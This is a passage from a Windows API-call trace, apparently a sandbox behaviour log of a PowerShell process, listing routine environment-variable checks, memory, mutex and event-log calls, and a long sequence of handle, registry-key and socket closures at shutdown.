lpBuffer=0xec790, dwLength=0x30 | out: lpBuffer=0xec790*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0246.185] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.185] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0246.186] CoTaskMemFree (pv=0x254b00) [0246.238] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.238] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0246.238] CoTaskMemFree (pv=0x254b00) [0246.240] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.240] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0246.240] CoTaskMemFree (pv=0x254b00) [0246.243] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.243] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0246.243] CoTaskMemFree (pv=0x254b00) [0246.249] CoTaskMemAlloc (cb=0x104) returned 0x254b00 [0246.249] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x254b00, nSize=0x80 | out: lpBuffer="") returned 0x0 [0246.249] CoTaskMemFree (pv=0x254b00) [0246.254] CoTaskMemFree (pv=0x254b00) [0246.255] CoTaskMemFree (pv=0x254b00) [0247.860] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x254f40 [0247.864] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x255050 [0248.518] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0248.518] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0248.519] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec480, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0248.519] VirtualQuery (in: lpAddress=0xebb80, lpBuffer=0xeca40, dwLength=0x30 | out: lpBuffer=0xeca40*(BaseAddress=0xeb000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0248.526] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec510, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0248.526] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0248.526] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0xec460, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0248.530] CoTaskMemFree (pv=0x2fc300) [0248.530] RegCloseKey (hKey=0x380) returned 0x0 [0248.530] CoTaskMemFree (pv=0x2fc300) [0248.530] RegCloseKey (hKey=0x380) returned 0x0 [0248.531] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b8244c0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0248.531] CoTaskMemFree (pv=0x1b8244c0) [0248.531] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0xed590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0248.531] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x1b8244c0 | out: pszPath="C:\\Users\\aETAdzjz\\Documents") returned 0x0 [0248.531] CoTaskMemFree (pv=0x1b8244c0) [0248.531] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Documents", nBufferLength=0x105, lpBuffer=0xed590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Documents", lpFilePart=0x0) returned 0x1b [0248.535] CoTaskMemFree (pv=0x255160) [0248.536] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.536] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.536] CoTaskMemFree (pv=0x255160) [0248.537] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.537] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.537] CoTaskMemFree (pv=0x255160) [0248.538] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.538] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.538] CoTaskMemFree (pv=0x255160) [0248.554] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.554] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.554] CoTaskMemFree (pv=0x255160) [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x380 [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x384 [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a0 [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x36c [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x38c [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x390 [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x308 [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x30c [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x32c [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x330 [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x334 [0248.556] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x338 [0248.558] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.558] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.558] CoTaskMemFree (pv=0x255160) [0248.560] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0248.561] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0xedb20 | out: lpMode=0xedb20) returned 1 [0248.562] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.562] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.562] CoTaskMemFree (pv=0x255160) [0258.047] ReportEventW (hEventLog=0x1b9f0008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x3457c90*="Stopped", lpRawData=0x3457a20) returned 1 [0258.061] CoGetContextToken (in: pToken=0xef570 | out: pToken=0xef570) returned 0x0 [0258.061] CObjectContext::QueryInterface () returned 0x0 [0258.062] CObjectContext::GetCurrentThreadType () returned 0x0 [0258.062] Release () returned 0x0 [0258.069] CoGetContextToken (in: pToken=0xef140 | out: pToken=0xef140) returned 0x0 [0258.069] CObjectContext::QueryInterface () returned 0x0 [0258.069] CObjectContext::GetCurrentThreadType () returned 0x0 [0258.069] Release () returned 0x0 [0258.071] CoGetContextToken (in: pToken=0xef140 | out: pToken=0xef140) returned 0x0 [0258.071] CObjectContext::QueryInterface () returned 0x0 [0258.071] CObjectContext::GetCurrentThreadType () returned 0x0 [0258.071] Release () returned 0x0 [0258.151] CoGetContextToken (in: pToken=0xef140 | out: pToken=0xef140) returned 0x0 [0258.151] CObjectContext::QueryInterface () returned 0x0 [0258.151] CObjectContext::GetCurrentThreadType () returned 0x0 [0258.151] Release () returned 0x0 [0258.152] CoGetContextToken (in: pToken=0xef130 | out: pToken=0xef130) returned 0x0 [0258.152] CObjectContext::QueryInterface () returned 0x0 [0258.152] CObjectContext::GetCurrentThreadType () returned 0x0 [0258.152] Release () returned 0x0 [0258.153] CoUninitialize () Thread: id = 244 os_tid = 0x7ec Thread: id = 245 os_tid = 0x1e0 Thread: id = 248 os_tid = 0x750 Thread: id = 285 os_tid = 0x7a0 Thread: id = 286 os_tid = 0xab0 [0232.316] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0242.421] RegCloseKey (hKey=0x32c) returned 0x0 [0242.421] LocalFree (hMem=0x264130) returned 0x0 [0242.421] CloseHandle (hObject=0x320) returned 1 [0242.422] CloseHandle (hObject=0x13) returned 1 [0242.422] CloseHandle (hObject=0xf) returned 1 [0242.423] RegCloseKey (hKey=0x30c) returned 0x0 [0242.423] RegCloseKey (hKey=0x308) returned 0x0 [0242.423] RegCloseKey (hKey=0x304) returned 0x0 [0242.423] LocalFree (hMem=0x264100) returned 0x0 [0244.016] RegCloseKey (hKey=0x308) returned 0x0 [0245.655] RegCloseKey (hKey=0x378) returned 0x0 [0245.655] RegCloseKey (hKey=0x374) returned 0x0 [0245.656] RegCloseKey (hKey=0x370) returned 0x0 [0245.656] RegCloseKey (hKey=0x34c) returned 0x0 [0245.656] RegCloseKey (hKey=0x39c) returned 0x0 [0245.656] RegCloseKey (hKey=0x368) returned 0x0 [0245.656] RegCloseKey (hKey=0x364) returned 0x0 [0245.657] RegCloseKey (hKey=0x360) returned 0x0 [0245.657] RegCloseKey (hKey=0x35c) returned 0x0 [0245.657] RegCloseKey (hKey=0x358) returned 0x0 [0245.657] RegCloseKey (hKey=0x354) returned 0x0 [0245.657] RegCloseKey (hKey=0x350) returned 0x0 [0245.657] RegCloseKey (hKey=0x398) returned 0x0 [0245.658] RegCloseKey (hKey=0x394) returned 0x0 [0245.658] RegCloseKey (hKey=0x1c8) returned 0x0 [0245.658] RegCloseKey (hKey=0x340) returned 0x0 [0245.658] RegCloseKey (hKey=0x33c) returned 0x0 [0245.658] RegCloseKey (hKey=0x338) returned 0x0 [0245.659] RegCloseKey (hKey=0x334) returned 0x0 [0245.659] RegCloseKey (hKey=0x330) returned 0x0 [0245.659] RegCloseKey (hKey=0x32c) returned 0x0 [0245.659] RegCloseKey (hKey=0x30c) returned 0x0 [0245.659] RegCloseKey (hKey=0x308) returned 0x0 [0245.660] RegCloseKey (hKey=0x390) returned 0x0 [0245.660] RegCloseKey (hKey=0x38c) returned 0x0 [0245.660] RegCloseKey (hKey=0x36c) returned 0x0 [0245.660] RegCloseKey (hKey=0x3a0) returned 0x0 [0245.661] RegCloseKey (hKey=0x384) returned 0x0 [0245.661] RegCloseKey (hKey=0x380) returned 0x0 [0245.661] RegCloseKey (hKey=0x37c) returned 0x0 [0249.665] CloseHandle (hObject=0x404) returned 1 [0249.665] CloseHandle (hObject=0x3b4) returned 1 [0249.666] CloseHandle (hObject=0x3b0) returned 1 [0249.666] CloseHandle (hObject=0x3ac) returned 1 [0249.666] CloseHandle (hObject=0x46c) returned 1 [0249.667] CloseHandle (hObject=0x3a8) returned 1 [0249.667] CloseHandle (hObject=0x388) returned 1 [0249.667] CloseHandle (hObject=0x378) returned 1 [0249.668] CloseHandle (hObject=0x374) returned 1 [0249.668] CloseHandle (hObject=0x468) returned 1 [0249.668] CloseHandle (hObject=0x370) returned 1 [0249.668] CloseHandle (hObject=0x34c) returned 1 [0249.669] CloseHandle (hObject=0x39c) returned 1 [0249.669] CloseHandle (hObject=0x364) returned 1 [0249.669] CloseHandle (hObject=0x368) returned 1 [0249.670] CloseHandle (hObject=0x360) returned 1 [0249.670] RegCloseKey (hKey=0x340) returned 0x0 [0249.670] CloseHandle (hObject=0x408) returned 1 [0253.694] CloseHandle (hObject=0xf) returned 1 [0253.695] CloseHandle (hObject=0x378) returned 1 [0253.695] CloseHandle (hObject=0x468) returned 1 [0258.082] LocalFree (hMem=0x255050) returned 0x0 [0258.082] LocalFree (hMem=0x254f40) returned 0x0 [0258.083] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3458048, cbSid=0x1b51f170 | out: pSid=0x3458048*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b51f170) returned 1 [0258.083] CreateMutexW (lpMutexAttributes=0x3458200, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x530 [0258.083] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0x1f4) returned 0x0 [0258.084] ReleaseMutex (hMutex=0x530) returned 1 [0258.084] CloseHandle (hObject=0x530) returned 1 [0258.084] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3458558, cbSid=0x1b51f170 | out: pSid=0x3458558*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b51f170) returned 1 [0258.084] CreateMutexW (lpMutexAttributes=0x3458710, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x530 [0258.084] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0x1f4) returned 0x0 [0258.084] ReleaseMutex (hMutex=0x530) returned 1 [0258.084] CloseHandle (hObject=0x530) returned 1 [0258.084] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3458a68, cbSid=0x1b51f170 | out: pSid=0x3458a68*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b51f170) returned 1 [0258.084] CreateMutexW (lpMutexAttributes=0x3458c20, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x530 [0258.084] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0x1f4) returned 0x0 [0258.085] ReleaseMutex (hMutex=0x530) returned 1 [0258.085] CloseHandle (hObject=0x530) returned 1 [0258.085] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3458f78, cbSid=0x1b51f170 | out: pSid=0x3458f78*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b51f170) returned 1 [0258.085] CreateMutexW (lpMutexAttributes=0x3459130, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x530 [0258.085] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0x1f4) returned 0x0 [0258.085] ReleaseMutex (hMutex=0x530) returned 1 [0258.085] CloseHandle (hObject=0x530) returned 1 [0258.085] CreateWellKnownSid (in: WellKnownSidType=0x11, DomainSid=0x0, pSid=0x3459488, cbSid=0x1b51f1a0 | out: pSid=0x3459488*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb), cbSid=0x1b51f1a0) returned 1 [0258.085] CreateMutexW (lpMutexAttributes=0x3459640, bInitialOwner=0, lpName="Global\\.net clr networking") returned 0x530 [0258.085] WaitForSingleObject (hHandle=0x530, dwMilliseconds=0x1f4) returned 0x0 [0258.085] ReleaseMutex (hMutex=0x530) returned 1 [0258.086] CloseHandle (hObject=0x530) returned 1 [0258.090] DeregisterEventSource (hEventLog=0x1b9f0008) returned 1 [0258.103] CloseHandle (hObject=0x3b4) returned 1 [0258.103] CloseHandle (hObject=0x4c4) returned 1 [0258.104] CloseHandle (hObject=0xf) returned 1 [0258.104] CloseHandle (hObject=0x107) returned 1 [0258.105] CloseHandle (hObject=0x103) returned 1 [0258.105] CloseHandle (hObject=0xff) returned 1 [0258.106] CloseHandle (hObject=0xfb) returned 1 [0258.106] CloseHandle (hObject=0xf7) returned 1 [0258.107] CloseHandle (hObject=0xf3) returned 1 [0258.107] CloseHandle (hObject=0xef) returned 1 [0258.108] CloseHandle (hObject=0xeb) returned 1 [0258.108] CloseHandle (hObject=0xe7) returned 1 [0258.109] CloseHandle (hObject=0xe3) returned 1 [0258.109] CloseHandle (hObject=0xdf) returned 1 [0258.110] CloseHandle (hObject=0xdb) returned 1 [0258.110] CloseHandle (hObject=0xd7) returned 1 [0258.110] CloseHandle (hObject=0xd3) returned 1 [0258.111] CloseHandle (hObject=0xcf) returned 1 [0258.111] CloseHandle (hObject=0xcb) returned 1 [0258.112] CloseHandle (hObject=0xc7) returned 1 [0258.112] CloseHandle (hObject=0xc3) returned 1 [0258.113] CloseHandle (hObject=0xbf) returned 1 [0258.113] CloseHandle (hObject=0xbb) returned 1 [0258.114] CloseHandle (hObject=0xb7) returned 1 [0258.114] CloseHandle (hObject=0xb3) returned 1 [0258.115] CloseHandle (hObject=0xaf) returned 1 [0258.115] CloseHandle (hObject=0xab) returned 1 [0258.116] CloseHandle (hObject=0x4a4) returned 1 [0258.116] CloseHandle (hObject=0x490) returned 1 [0258.116] CloseHandle (hObject=0x498) returned 1 [0258.117] CloseHandle (hObject=0x378) returned 1 [0258.117] CloseHandle (hObject=0x3b0) returned 1 [0258.117] UnmapViewOfFile (lpBaseAddress=0x1b470000) returned 1 [0258.118] CloseHandle (hObject=0xa7) returned 1 [0258.119] CloseHandle (hObject=0xa3) returned 1 [0258.119] CloseHandle (hObject=0x9f) returned 1 [0258.119] CloseHandle (hObject=0x9b) returned 1 [0258.120] CloseHandle (hObject=0x97) returned 1 [0258.120] CloseHandle (hObject=0x93) returned 1 [0258.120] CloseHandle (hObject=0x8f) returned 1 [0258.121] CloseHandle (hObject=0x8b) returned 1 [0258.121] CloseHandle (hObject=0x87) returned 1 [0258.122] CloseHandle (hObject=0x83) returned 1 [0258.122] CloseHandle (hObject=0x7f) returned 1 [0258.122] CloseHandle (hObject=0x7b) returned 1 [0258.123] CloseHandle (hObject=0x77) returned 1 [0258.123] CloseHandle (hObject=0x73) returned 1 [0258.123] CloseHandle (hObject=0x6f) returned 1 [0258.124] CloseHandle (hObject=0x6b) returned 1 [0258.124] CloseHandle (hObject=0x67) returned 1 [0258.125] CloseHandle (hObject=0x63) returned 1 [0258.125] CloseHandle (hObject=0x5f) returned 1 [0258.125] CloseHandle (hObject=0x5b) returned 1 [0258.126] CloseHandle (hObject=0x57) returned 1 [0258.126] CloseHandle (hObject=0x53) returned 1 [0258.127] CloseHandle (hObject=0x4f) returned 1 [0258.127] CloseHandle (hObject=0x4b) returned 1 [0258.127] CloseHandle (hObject=0x47) returned 1 [0258.128] CloseHandle (hObject=0x43) returned 1 [0258.128] CloseHandle (hObject=0x3f) returned 1 [0258.129] CloseHandle (hObject=0x3b) returned 1 [0258.129] CloseHandle (hObject=0x37) returned 1 [0258.129] setsockopt (s=0x46c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0258.130] closesocket (s=0x46c) returned 0 [0258.130] CloseHandle (hObject=0x3ac) returned 1 [0258.130] setsockopt (s=0x388, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0258.130] closesocket (s=0x388) returned 0 [0258.130] CloseHandle (hObject=0x3a8) returned 1 [0258.131] CloseHandle (hObject=0x33) returned 1 [0258.131] CloseHandle (hObject=0x2f) returned 1 [0258.131] CloseHandle (hObject=0x2b) returned 1 [0258.132] CloseHandle (hObject=0x27) returned 1 [0258.132] CloseHandle (hObject=0x23) returned 1 [0258.132] CloseHandle (hObject=0x1f) returned 1 [0258.133] CloseHandle (hObject=0x1b) returned 1 [0258.133] RegCloseKey (hKey=0x514) returned 0x0 [0258.134] CloseHandle (hObject=0x510) returned 1 [0258.134] CloseHandle (hObject=0x50c) returned 1 [0258.134] CloseHandle (hObject=0x508) returned 1 [0258.134] CloseHandle (hObject=0x500) returned 1 [0258.134] CloseHandle (hObject=0x504) returned 1 [0258.135] CloseHandle (hObject=0x4f8) returned 1 [0258.135] CloseHandle (hObject=0x17) returned 1 [0258.135] CloseHandle (hObject=0x4fc) returned 1 [0258.135] CloseHandle (hObject=0x4ec) returned 1 [0258.135] CloseHandle (hObject=0x4f0) returned 1 [0258.136] CloseHandle (hObject=0x3fc) returned 1 [0258.136] CloseHandle (hObject=0x3e8) returned 1 [0258.136] CloseHandle (hObject=0x13) returned 1 [0258.137] CloseHandle (hObject=0x3e0) returned 1 [0258.137] CloseHandle (hObject=0x3dc) returned 1 [0258.137] CloseHandle (hObject=0x13b) returned 1 [0258.137] CloseHandle (hObject=0x137) returned 1 [0258.138] CloseHandle (hObject=0x133) returned 1 [0258.138] CloseHandle (hObject=0x12f) returned 1 [0258.139] CloseHandle (hObject=0x12b) returned 1 [0258.139] CloseHandle (hObject=0x127) returned 1 [0258.139] CloseHandle (hObject=0x123) returned 1 [0258.140] CloseHandle (hObject=0x11f) returned 1 [0258.140] CloseHandle (hObject=0x11b) returned 1 [0258.140] CloseHandle (hObject=0x117) returned 1 [0258.141] CloseHandle (hObject=0x113) returned 1 [0258.141] CloseHandle (hObject=0x4e8) returned 1 [0258.141] CloseHandle (hObject=0x454) returned 1 [0258.142] CloseHandle (hObject=0x450) returned 1 [0258.142] RegCloseKey (hKey=0x44c) returned 0x0 [0258.142] CloseHandle (hObject=0x4c8) returned 1 [0258.142] CloseHandle (hObject=0x448) returned 1 [0258.142] RegCloseKey (hKey=0x444) returned 0x0 [0258.143] CloseHandle (hObject=0x440) returned 1 [0258.143] RegCloseKey (hKey=0x43c) returned 0x0 [0258.143] RegCloseKey (hKey=0x438) returned 0x0 [0258.143] CloseHandle (hObject=0x420) returned 1 [0258.143] setsockopt (s=0x418, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0258.144] closesocket (s=0x418) returned 0 [0258.144] CloseHandle (hObject=0x41c) returned 1 [0258.144] CloseHandle (hObject=0x10f) returned 1 [0258.144] setsockopt (s=0x40c, level=65535, optname=128, optval="\x01", optlen=4) returned -1 [0258.145] closesocket (s=0x40c) returned 0 [0258.145] CloseHandle (hObject=0x414) returned 1 [0258.145] UnmapViewOfFile (lpBaseAddress=0x1b3d0000) returned 1 [0258.146] CloseHandle (hObject=0x410) returned 1 [0258.146] CloseHandle (hObject=0x4cc) returned 1 [0258.146] CloseHandle (hObject=0x4d0) returned 1 [0258.146] CloseHandle (hObject=0x4c0) returned 1 [0258.146] CloseHandle (hObject=0x404) returned 1 [0258.147] CloseHandle (hObject=0x33c) returned 1 [0258.147] CloseHandle (hObject=0x10b) returned 1 [0258.147] CloseHandle (hObject=0x338) returned 1 [0258.147] CloseHandle (hObject=0x334) returned 1 [0258.148] CloseHandle (hObject=0x330) returned 1 [0258.148] CloseHandle (hObject=0x32c) returned 1 [0258.148] CloseHandle (hObject=0x30c) returned 1 [0258.148] CloseHandle (hObject=0x308) returned 1 [0258.148] CloseHandle (hObject=0x390) returned 1 [0258.149] CloseHandle (hObject=0x38c) returned 1 [0258.149] CloseHandle (hObject=0x36c) returned 1 [0258.149] CloseHandle (hObject=0x3a0) returned 1 [0258.149] CloseHandle (hObject=0x384) returned 1 [0258.149] CloseHandle (hObject=0x380) returned 1 [0258.150] CloseHandle (hObject=0x328) returned 1 [0258.150] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 [0258.150] CloseHandle (hObject=0x2ec) returned 1 [0258.150] CloseHandle (hObject=0x31c) returned 1 [0258.150] UnmapViewOfFile (lpBaseAddress=0x1fa0000) returned 1 Thread: id = 291 os_tid = 0xae8 Thread: id = 292 os_tid = 0x864 [0248.566] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.577] SetThreadUILanguage (LangId=0x0) returned 0x7fffffa0409 [0248.584] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.584] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.584] CoTaskMemFree (pv=0x255160) [0248.585] VirtualQuery (in: lpAddress=0x1c83dc40, lpBuffer=0x1c83eb00, dwLength=0x30 | out: lpBuffer=0x1c83eb00*(BaseAddress=0x1c83d000, AllocationBase=0x1beb0000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0248.610] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.610] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.610] CoTaskMemFree (pv=0x255160) [0248.618] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.619] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.619] CoTaskMemFree (pv=0x255160) [0248.625] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.625] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.625] CoTaskMemFree (pv=0x255160) [0248.646] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.646] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.646] CoTaskMemFree (pv=0x255160) [0248.649] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.649] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.649] CoTaskMemFree (pv=0x255160) [0248.650] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.650] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.650] CoTaskMemFree (pv=0x255160) [0248.659] VirtualQuery (in: lpAddress=0x1c83def0, lpBuffer=0x1c83edb0, dwLength=0x30 | out: lpBuffer=0x1c83edb0*(BaseAddress=0x1c83d000, AllocationBase=0x1beb0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0248.659] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.659] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.659] CoTaskMemFree (pv=0x255160) [0248.661] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.661] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.661] CoTaskMemFree (pv=0x255160) [0248.662] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.662] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.662] CoTaskMemFree (pv=0x255160) [0248.663] CoTaskMemAlloc (cb=0x104) returned 0x255160 [0248.663] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x255160, nSize=0x80 | out: lpBuffer="") returned 0x0 [0248.663] CoTaskMemFree (pv=0x255160) [0248.674] 